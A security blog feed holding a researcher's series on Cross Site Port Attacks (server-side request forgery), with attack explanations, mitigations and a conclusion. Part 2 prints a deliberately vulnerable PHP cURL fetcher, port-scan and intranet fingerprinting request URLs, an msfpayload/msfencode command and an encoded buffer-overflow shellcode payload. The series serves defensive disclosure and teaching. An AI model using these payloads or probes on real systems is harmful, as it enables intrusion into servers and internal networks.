&lt;a href="http://3.bp.blogspot.com/--U9BmYu9LJU/UKQF-bXTY_I/AAAAAAAAAoU/tUBIdb4UmHY/s1600/adobe_file_protocal_handler_resized_frosted.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="350" width="520" src="http://3.bp.blogspot.com/--U9BmYu9LJU/UKQF-bXTY_I/AAAAAAAAAoU/tUBIdb4UmHY/s1600/adobe_file_protocal_handler_resized_frosted.png" /&gt;&lt;/a&gt;&lt;/div&gt;


&lt;br/&gt;&lt;br/&gt;

&lt;h2 style="text-align: left;"&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-weight: normal;"&gt;How do you fix this?&lt;/span&gt; &lt;/span&gt;&lt;/h2&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;
There are multiple ways of mitigating this vulnerability, the most ideal and common techniques of thwarting XSPA, however, are listed below:&lt;br/&gt;
1. Response Handling - Validating responses received from remote resources on the server side is the most basic mitigation that can be readily implemented. If a web application expects specific content type on the server, programmatically ensure that the data received satisfies checks imposed on the server before displaying or processing the data for the client.
&lt;br/&gt;&lt;br/&gt;
2. Error handling and messages - Display generic error messages to the client in case something goes wrong. If content type validation fails, display generic errors to the client like "Invalid Data retrieved". Also ensure that the message is the same when the request fails on the backend and if invalid data is received. This will prevent the application from being abused as distinct error messages will be absent for closed and open ports. Under no circumstance should the raw response received from the remote server be displayed to the client.
&lt;br/&gt;&lt;br/&gt;
3. Restrict connectivity to HTTP based ports - This may not always be the brightest thing to do, but restricting the ports to which the web application can connect to only HTTP ports like 80, 443, 8080, 8090 etc. can lower the attack surface. Several popular web applications on the Internet just strip any port specifications in the input URL and connect to the port that is determined by the protocol handler (http - 80, https - 443).
&lt;br/&gt;&lt;br/&gt;
4. Blacklist IP addresses - Internal IP addresses, localhost specifications and internal hostnames can all be blacklisted to prevent the web application from being abused to fetch data/attack these devices. Implementing this will protect servers from one time attack vectors. For example, even if the first fix (above) is implemented, the data is still being sent to the remote service. If an attack that does not need to see responses is executed (like a buffer overflow exploit) then this fix can actually prevent data from ever reaching the vulnerable device. Response handling is then not required at all as a request was never made.
&lt;br/&gt;&lt;br/&gt;
5. Disable unwanted protocols - Allow only http and https to make requests to remote servers. Whitelisting these protocols will prevent the web application from making requests over other protocols like file:///, gopher://, ftp:// and other URI schemes.
&lt;br/&gt;&lt;br/&gt;&lt;/span&gt;

&lt;h2 style="text-align: left;"&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-weight: normal;"&gt;Conclusion&lt;/span&gt; &lt;/span&gt;&lt;/h2&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;
Using web applications to make requests to remote resources, the local network and even localhost is a technique that has been known to pentesters for some time now. It has been termed as Server Side Request Forgeries, Cross Site Port Attacks and even Server Side Site Scanning, but the primary idea is to present it to the community and show that this vulnerability is extremely common. XSPA, in the case of this research, can be used to proxy attacks via vulnerable web applications to remote servers and local systems.&lt;br/&gt;
&lt;br/&gt;
We have seen that XSPA can be used to port scan remote Internet facing servers, intranet devices and the local web server itself. Banner grabbing is also possible in some cases. XSPA can also be used to exploit vulnerable programs running on the Intranet or on the local web server. Fingerprinting intranet web applications using static default files &amp; application behaviour is possible. It is also possible in several cases to attack internal/external web applications that are vulnerable to GET parameter based vulnerabilities (SQLi via URL, parameter manipulation etc.). Lastly, XSPA has been used to document local file read capabilities using the file:/// protocol handler in Adobe's Omniture web application.
&lt;br/&gt;&lt;br/&gt;
Mitigating XSPA takes a combination of blacklisting IP addresses, whitelisting connect ports and protocols and proper non descriptive error handling.
&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;
In the next several posts I will publish disclosures regarding XSPA in several websites on the Internet which triggered the research into this vulnerability in the first place.
&lt;/span&gt;&lt;br/&gt;&lt;br/&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/riyazwalikar/~4/wdSzXE6iC9A" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.riyazwalikar.com/feeds/7293374345555452872/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-3.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/7293374345555452872?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/7293374345555452872?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/riyazwalikar/~3/wdSzXE6iC9A/cross-site-port-attacks-xspa-part-3.html" title="Cross Site Port Attacks - XSPA - Part 3" /><author><name>Riyaz Ahemed Walikar</name><uri>http://www.blogger.com/profile/10553011445419057597</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="22" height="32" src="http://2.bp.blogspot.com/-Gt2oM9Ob-IU/UJzlXjWhBYI/AAAAAAAAAi8/_LtVk7nXhz8/s220/profile.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/--Re66ME7p30/UKP2MDwuEuI/AAAAAAAAAmk/kSTChWIpgW0/s72-c/jmx_console.png" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-3.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0QNSXwzfyp7ImA9WhNRGU8.&quot;"><id>tag:blogger.com,1999:blog-4333330172780240225.post-960139323829785061</id><published>2012-11-13T15:36:00.000-08:00</published><updated>2012-11-14T13:43:18.287-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-11-14T13:43:18.287-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Cross Site Port Attacks" /><category scheme="http://www.blogger.com/atom/ns#" term="appsecusa" /><category scheme="http://www.blogger.com/atom/ns#" term="XSPA" /><category scheme="http://www.blogger.com/atom/ns#" term="owasp" /><category scheme="http://www.blogger.com/atom/ns#" term="vulnerability" /><category scheme="http://www.blogger.com/atom/ns#" term="ssrf" /><title>Cross Site Port Attacks - XSPA - Part 2</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;This is the second post in the 3 part series that explains XSPA, the attacks and possible countermeasures.
&lt;br /&gt;&lt;br /&gt;
Read &lt;a href="http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-1.html"&gt;Cross Site Port Attacks - XSPA - Part 1&lt;/a&gt;&lt;br /&gt;
Read &lt;a href="http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-3.html"&gt;Cross Site Port Attacks - XSPA - Part 3&lt;/a&gt;
&lt;br /&gt;&lt;br /&gt;

&lt;h2 style="text-align: left;"&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-weight: normal;"&gt;Attacks&lt;/span&gt; &lt;/span&gt;&lt;/h2&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;XSPA allows attackers to target the server infrastructure, mostly the intranet of the web server, the web server itself and any public Internet facing server as well. Currently, I have come across the following five different attacks that can be launched because of XSPA:&lt;br /&gt;
1. Port Scanning remote Internet facing servers, intranet devices and the local web server itself. Banner grabbing is also possible in some cases.&lt;br /&gt;
2. Exploiting vulnerable programs running on the Intranet or on the local web server&lt;br /&gt;
3. Fingerprinting intranet web applications using standard application default files &amp; behavior&lt;br /&gt;
4. Attacking internal/external web applications that are vulnerable to GET parameter based vulnerabilities (SQLi via URL, parameter manipulation etc.)&lt;br /&gt;
5. Reading local web server files using the file:/// protocol handler.&lt;br /&gt;&lt;br /&gt;

Most web server architecture would allow the web server to access the Internet and services running on the intranet. The following visual depiction shows the various destinations to which requests can be made:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-mzegxfaSdUs/UKLJ5cNq4nI/AAAAAAAAAj4/BSVgZlZIFGE/s1600/xspa_reach_via_server.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="300" width="520" src="http://4.bp.blogspot.com/-mzegxfaSdUs/UKLJ5cNq4nI/AAAAAAAAAj4/BSVgZlZIFGE/s1600/xspa_reach_via_server.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;

Let us now look at some of the attacks that are possible with XSPA. These are attacks that I have come across during my Bug Bounty research and XSPA is not limited to them. A determined, intuitive attacker can come up with other scenarios as well.&lt;br /&gt;&lt;br/&gt;

&lt;h2 style="text-align: left;"&gt;
&lt;span style="font-weight: normal;"&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Attacks - Port Scanning using XSPA&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Consider a web application that provides a common functionality that allows a user to input a link to an external image from a third party server. Most social networking sites have this functionality that allows users to update their profile image by either uploading an image or by providing a URL to an image hosted elsewhere on the Internet.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;
A user is expected (in an utopian world) to enter a valid URL pointing to an image on the Internet. URLs of the following forms would be considered valid:
&lt;li&gt;http://example.com/dir/public/image.jpg&lt;/li&gt;
&lt;li&gt;http://example.com/dir/images/&lt;/li&gt;
&lt;br /&gt;

The second URL is valid, if the served Content-Type is an image (http://www.w3.org/Protocols/rfc1341/4_Content-Type.html). Based on the web application's server side logic, the image is downloaded on the server, a URL is created and then the image is displayed to the user, using the new server URL. So even if you specify the image to be at
&lt;br /&gt;
http://example.com/dir/public/image.jpg&lt;br/&gt;
the final image url would be at&lt;br /&gt;
http://gravatar.com/user_images/username/image.jpg. 
&lt;br /&gt;&lt;br/&gt;If an image is not found at the user supplied URL, the web application will normally inform the user of such. However, if the remote server hosting the image itself isn't found or the server exists and there is no HTTP service running then it gets tricky. Most web applications generate error messages that inform the user regarding the status of this request. An attacker can specify a non-standard yet valid URI according to the URI rfc3986 with a port specification. An example of these URIs would be the following:
&lt;li&gt;http://example.com:8080/dir/images/&lt;/li&gt;
&lt;li&gt;http://example.com:22/dir/public/image.jpg&lt;/li&gt;
&lt;li&gt;http://example.com:3306/dir/images/&lt;/li&gt;
&lt;br /&gt;


&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;In all probability you would find a web application on port 8080 and not on 22 (SSH) or 3306 (MySQL). However, the backend logic of the webserver, in all observed cases, will connect to the user specified URL on the mentioned port using whatever APIs and framework it is built over as these are valid HTTP URLs. In case of most TCP services, banners are sent when a socket connection is created and since most banners (containing juicy information) are printable ascii, they can be displayed as raw HTML via the response handler. If there is some parsing of data on the server then non HTML data may not be displayed, in such cases, unique error messages, response byte size and response timing can be used to identify port status providing an avenue for port scanning remote servers using the vulnerable web application. An attacker can analyze the returned error messages and identify open and closed ports based on unique error responses. These responses may be raw socket errors (like "Connection refused" or timeouts) or may be customized by the application (like "Unexpected header found" or "Service was not reachable"). Instead of providing a URL to a remote server, URLs to localhost (http://127.0.0.1:22/image.jpg) can also be used to port scan the local server itself!&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
The following implementation of cURL can be abused to port scan devices:
&lt;div style="text-align: left;"&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
&amp;lt;?php &lt;br /&gt;
  if (isset($_POST['url']))&lt;br /&gt;
    {&lt;br /&gt;
  $link = $_POST['url'];&lt;br /&gt;
  $filename = './curled/'.rand().'txt';&lt;br /&gt;
  $curlobj = curl_init($link);&lt;br /&gt;
  $fp = fopen($filename,"w");&lt;br /&gt;

  curl_setopt($curlobj, CURLOPT_FILE, $fp);&lt;br /&gt;
  curl_setopt($curlobj, CURLOPT_HEADER, 0);&lt;br /&gt;
  curl_exec($curlobj);&lt;br /&gt;
  curl_close($curlobj);&lt;br /&gt;
  fclose($fp);&lt;br /&gt;
  $fp = fopen($filename,"r");&lt;br /&gt;
  $result = fread($fp, filesize($filename)); &lt;br /&gt;
  fclose($fp);&lt;br /&gt;
  echo $result;&lt;br /&gt;
?&amp;gt;&lt;br /&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;


&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;The following is a screengrab of the above code retrieving robots.txt from http://www.twitter.com:&lt;br/&gt;&lt;br /&gt;
Request: http://www.twitter.com/robots.txt&lt;br/&gt;&lt;br/&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-2OVdY1W3Zec/UKLOdV90pAI/AAAAAAAAAkM/4bSLQM8HocY/s1600/robots.txt.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="420" width="520" src="http://2.bp.blogspot.com/-2OVdY1W3Zec/UKLOdV90pAI/AAAAAAAAAkM/4bSLQM8HocY/s1600/robots.txt.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;br /&gt;&lt;br /&gt;

For the same page, if a request is made to fetch data from a open port running a non HTTP service:&lt;br /&gt;&lt;br/&gt;
Request: http://scanme.nmap.org:22/test.txt&lt;br/&gt;&lt;br/&gt;


&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-URiXTgCdPq4/UKLPrAlpt1I/AAAAAAAAAkY/RiJIdHd7Qvw/s1600/non_http_port_connect.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="240" width="520" src="http://2.bp.blogspot.com/-URiXTgCdPq4/UKLPrAlpt1I/AAAAAAAAAkY/RiJIdHd7Qvw/s1600/non_http_port_connect.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;br /&gt;&lt;br /&gt;

For a closed port, an application specific error is displayed:&lt;br /&gt;&lt;br/&gt;
Request: http://scanme.nmap.org:25/test.txt&lt;br /&gt; &lt;br /&gt;


&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-K08TqnaLiCg/UKLQPqOo5OI/AAAAAAAAAkk/dBiifukgLAE/s1600/closed_port.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="200" width="520" src="http://3.bp.blogspot.com/-K08TqnaLiCg/UKLQPqOo5OI/AAAAAAAAAkk/dBiifukgLAE/s1600/closed_port.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;br/&gt;&lt;br/&gt;


The different responses received allow us to port scan devices using the vulnerable web application server as a proxy. This can easily be scripted to achieve automation and cleaner results. I will be (in later posts) showing how this attack was possible on Facebook, Google, Mozilla, Pinterest, Adobe and Yahoo!&lt;br/&gt;&lt;br/&gt;

An attacker can also modify the request URLs to scan the internal network or the local server itself. For example:&lt;br/&gt;&lt;br/&gt;

Request: http://127.0.0.1:3306/test.txt&lt;br/&gt;&lt;br/&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-d6KkEX_TCac/UKLQxi9MESI/AAAAAAAAAkw/nzzg4lT6Qc0/s1600/mysql_error_localhost.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="220" width="520" src="http://3.bp.blogspot.com/-d6KkEX_TCac/UKLQxi9MESI/AAAAAAAAAkw/nzzg4lT6Qc0/s1600/mysql_error_localhost.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br/&gt;&lt;br/&gt;

In most web applications on the Internet, barring a few, banner grabbing may not be possible, in which case application specific error messages, response byte size, server response times and changes in HTML source can be used as unique fingerprints to identify port status. The following screengrabs show port scanning via XSPA in Google's Webmasters web application. Note the application specific error messages that can be used to script the vulnerability and automate scanning of Internet/Intranet devices. Google has now fixed this issue (and my name was listed in the prestigious &lt;a href="http://www.google.com/about/appsecurity/hall-of-fame/reward/" target="_blank"&gt;Google Hall of Fame&lt;/a&gt; for security researchers):&lt;br/&gt;&lt;br/&gt;


&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-9us1HoPE9gE/UKLRP-HRAvI/AAAAAAAAAk8/vBbmDdZ0mW8/s1600/http_open_port.PNG" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="320" width="520" src="http://1.bp.blogspot.com/-9us1HoPE9gE/UKLRP-HRAvI/AAAAAAAAAk8/vBbmDdZ0mW8/s1600/http_open_port.PNG" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;br/&gt;
&lt;br/&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-2G131e3vcKM/UKLRn0-fesI/AAAAAAAAAlI/AFrRq0i-FG4/s1600/non_http_open_port.PNG" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="320" width="520" src="http://3.bp.blogspot.com/-2G131e3vcKM/UKLRn0-fesI/AAAAAAAAAlI/AFrRq0i-FG4/s1600/non_http_open_port.PNG" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;br/&gt;
&lt;br/&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-3RafwD4r98I/UKLSB8dcipI/AAAAAAAAAlU/PeO4uGdsSqg/s1600/closed_port.PNG" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="320" width="520" src="http://4.bp.blogspot.com/-3RafwD4r98I/UKLSB8dcipI/AAAAAAAAAlU/PeO4uGdsSqg/s1600/closed_port.PNG" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;

&lt;h2 style="text-align: left;"&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-weight: normal;"&gt;Attacks - Exploiting vulnerable network programs&lt;/span&gt; &lt;/span&gt;&lt;/h2&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Most developers in the real world write code without incorporating a lot of security. Which is why, even after a decade of being documented, threats like buffer overflows and format string vulnerabilities are still found in applications. For applications built in-house to perform specific tasks, security is almost never in the list of priorities, hence attacking them gives easy access to the internal network. XSPA allows attackers to send data to user controlled addresses and ports which could have vulnerable services listening on them. These can be exploited using XSPA to execute code on the remote/local server and gain a reverse shell (or perform an attacker desired activity).&lt;br/&gt;&lt;br/&gt;

If we look at the flow of an XSPA attack, we can see that we control the part after the port specification. In simpler terms, we control the resource that we are asking the web server to fetch from the remote/local server. The web server creates a GET (or POST, mostly GET) request on the backend and connects to the attacker specified service and issues the following HTTP request:&lt;br/&gt;&lt;br/&gt;

&lt;div style="text-align: left;"&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
GET /attacker_controlled_resource HTTP/1.1&lt;br/&gt;
Host: hostname&lt;br/&gt;&lt;br/&gt;
&lt;/span&gt;&lt;/div&gt;

If you notice carefully, we do not need to be concerned about most of the structure of the backend request as we control the most important part of it, the resource specification. For example, in the following screengrab you can see that a program listening on port 8987 on the local server accepts input and prints "Hello GET /test.txt HTTP/1.1, The Server Time is: [server time]". We can see that the "GET /test.txt HTTP/1.1" is sent by the web server to the program as part of its request creation process. If the program is vulnerable to a buffer overflow, as user input is being used to create the output, the attacker could pass an overly long string and crash the program.&lt;br/&gt;&lt;br/&gt;

Request: http://127.0.0.1:8987/test.txt&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-YgFIo632gJU/UKLT2rAZUKI/AAAAAAAAAlg/1-8erdZOYGA/s1600/vulnerable_program_localhost.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="200" width="520" src="http://4.bp.blogspot.com/-YgFIo632gJU/UKLT2rAZUKI/AAAAAAAAAlg/1-8erdZOYGA/s1600/vulnerable_program_localhost.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;br /&gt;
&lt;br /&gt;

Request: http://127.0.0.1:8987/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;br/&gt;&lt;br/&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-PMfnvvt4gho/UKLUX9G5qwI/AAAAAAAAAls/kZaRtuhMoww/s1600/network_hello_crash.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="300" width="520" src="http://1.bp.blogspot.com/-PMfnvvt4gho/UKLUX9G5qwI/AAAAAAAAAls/kZaRtuhMoww/s1600/network_hello_crash.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;br/&gt;
&lt;br/&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-Fu6qadXk1Co/UKLUYV0MSeI/AAAAAAAAAl4/ljUGX3OBY5w/s1600/exploitable_program.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="300" width="520" src="http://2.bp.blogspot.com/-Fu6qadXk1Co/UKLUYV0MSeI/AAAAAAAAAl4/ljUGX3OBY5w/s1600/exploitable_program.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;br/&gt;
&lt;br/&gt;

On testing the vulnerable copy on a local installation, we can see that EIP can be controlled and ESP has our data. Calculating the correct offset for EIP and building the exploit is beyond this blog post, however, the folks at &lt;a href="https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows"&gt;Corelan&lt;/a&gt; have a brilliant series of tutorials on building exploits for vulnerable programs. One important point to be noted however is that HTTP being a text based protocol may not handle non-printable unicode characters (found in exploit code) properly. In such a situation, we can use msfencode (part of metasploit framework) to encode the exploit payload to alpha numeric using the following command:&lt;br/&gt;&lt;br/&gt;

&lt;div style="text-align: left;"&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
msfpayload windows/exec CMD=calc.exe R | msfencode BufferRegister=ESP -e x86/alpha_mixed
&lt;/span&gt;&lt;/div&gt;

&lt;br/&gt;

The result? The following alphanumeric text (along with padding AAAAAAs, the static JMP ESP address and the shellcode) that can now be sent via the web application to the vulnerable program:&lt;br/&gt;
&lt;br/&gt;

&lt;div style="text-align: left;"&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@'ßwTYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlhhmYUPWpWp3Pk9he01xRSTnkpRfPlKPRtLLKPR24NkbR7XDOMgszuvVQ9oeaKpllgL3QQl5RFLWPiQJodM31JgKRHpaBPWNk3bvpLKsrWLwqZpLK1P0xMU9PSDCz7qZpf0NkQX6xnk2xUps1n3xcgL3yNkednkVayF4qKO5aKpnLIQJo4M31O76XIpbUzTdC3MHxGKamvDbU8bchLKShEtgqhSQvLKtLRkNkShuLgqZslK5TlKVaZpoy3tGTWTqKqKsQ0YSjRqyoKP2xCoSjnkwb8kLFqM0jFaNmLElyc05PC0pPsX6QlK0oOwkOyEOKhph5920VBHY6MEoMOmKON5Uls6SLUZMPykip2UfeoK3wfs422OBJs0Sc9oZuCSPaPl3SC0AA
&lt;/span&gt;&lt;/div&gt;

&lt;br/&gt;
&lt;br/&gt;
Sucessful exploitation leads to calculator executing on the server. The shellcode can be replaced with other payloads as well (reverse shell perhaps?)&lt;br/&gt;&lt;br/&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-SlTcE-PV33Q/UKLV9CdzFUI/AAAAAAAAAmE/OUW4DPPHE6g/s1600/calc_exec.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="350" width="520" src="http://4.bp.blogspot.com/-SlTcE-PV33Q/UKLV9CdzFUI/AAAAAAAAAmE/OUW4DPPHE6g/s1600/calc_exec.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;br/&gt;
&lt;br/&gt;

&lt;h2 style="text-align: left;"&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-weight: normal;"&gt;Attacks - Fingerprinting Intranet Web Applications&lt;/span&gt; &lt;/span&gt;&lt;/h2&gt;

Identifying internal applications via XSPA would be one of the first steps an attacker would take to get into the network from outside. Fingerprinting the type and version, if its a publicly available framework, blogging platform, application module or simply a customized public CMS, is essential in identifying vulnerabilities that can then be exploited to gain access. &lt;br/&gt;
&lt;br/&gt;

Most publicly available web application frameworks have distinct files and directories whose presence would indicate the type and version of the application. Most web applications also give away version and other information through meta tags and comments inside the HTML source. Specific vulnerabilites can then be researched based on the results. For example, the following unique signatures help in identifying a phpMyAdmin, Wordpress and a Drupal instance respectively:&lt;br/&gt;
&lt;br/&gt;
Request: http://127.0.0.1:8080/phpMyAdmin/themes/original/img/b_tblimport.png&lt;br/&gt;
Request: http://127.0.0.1:8081/wp-content/themes/default/images/audio.jpg&lt;br/&gt;
Request: http://127.0.0.1:8082/profiles/minimal/translations/README.txt&lt;br/&gt;&lt;br/&gt;

The following request attempts to identify the presence of a DLink Router:&lt;br/&gt;&lt;br/&gt;
Request: http://10.0.0.1/portName.js&lt;br/&gt;&lt;br/&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-qmoaPlRuEeQ/UKLXTUD4sQI/AAAAAAAAAmQ/BXCTxiEvPmk/s1600/dlink_router_intranet.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="600" width="520" src="http://2.bp.blogspot.com/-qmoaPlRuEeQ/UKLXTUD4sQI/AAAAAAAAAmQ/BXCTxiEvPmk/s1600/dlink_router_intranet.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br/&gt;
&lt;br/&gt;

Once the web application has been identified, an attacker can then research vulnerabilities and exploit vulnerable applications. In the next post we shall see how intranet web applications can be attacked and how servers can be abused using other protocols as well. We will also take a look at fixes that are suggested for developers to thwart XSPA or limit the damage that can arise due to this vulnerability.
&lt;br/&gt;
&lt;br/&gt;


&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/riyazwalikar/~4/BofCZXcM2NM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.riyazwalikar.com/feeds/960139323829785061/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-2.html#comment-form" title="8 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/960139323829785061?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/960139323829785061?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/riyazwalikar/~3/BofCZXcM2NM/cross-site-port-attacks-xspa-part-2.html" title="Cross Site Port Attacks - XSPA - Part 2" /><author><name>Riyaz Ahemed Walikar</name><uri>http://www.blogger.com/profile/10553011445419057597</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="22" height="32" src="http://2.bp.blogspot.com/-Gt2oM9Ob-IU/UJzlXjWhBYI/AAAAAAAAAi8/_LtVk7nXhz8/s220/profile.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-mzegxfaSdUs/UKLJ5cNq4nI/AAAAAAAAAj4/BSVgZlZIFGE/s72-c/xspa_reach_via_server.png" height="72" width="72" /><thr:total>8</thr:total><feedburner:origLink>http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-2.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0MFR3s-fyp7ImA9WhNRGU8.&quot;"><id>tag:blogger.com,1999:blog-4333330172780240225.post-2026929239062083541</id><published>2012-11-07T03:59:00.002-08:00</published><updated>2012-11-14T13:43:36.557-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-11-14T13:43:36.557-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Cross Site Port Attacks" /><category scheme="http://www.blogger.com/atom/ns#" term="appsecusa" /><category scheme="http://www.blogger.com/atom/ns#" term="XSPA" /><category scheme="http://www.blogger.com/atom/ns#" term="owasp" /><category scheme="http://www.blogger.com/atom/ns#" term="vulnerability" /><category scheme="http://www.blogger.com/atom/ns#" term="ssrf" /><title>Cross Site Port Attacks - XSPA - Part 1</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;This is the first of a 3 part series of blog posts that explain Cross Site Port Attacks(XSPA) in greater detail. I disclosed this as a speaker at the recently concluded OWASP AppSecUSA2012, Austin and thought it was about time I blogged as well.
&lt;br /&gt;&lt;br /&gt;

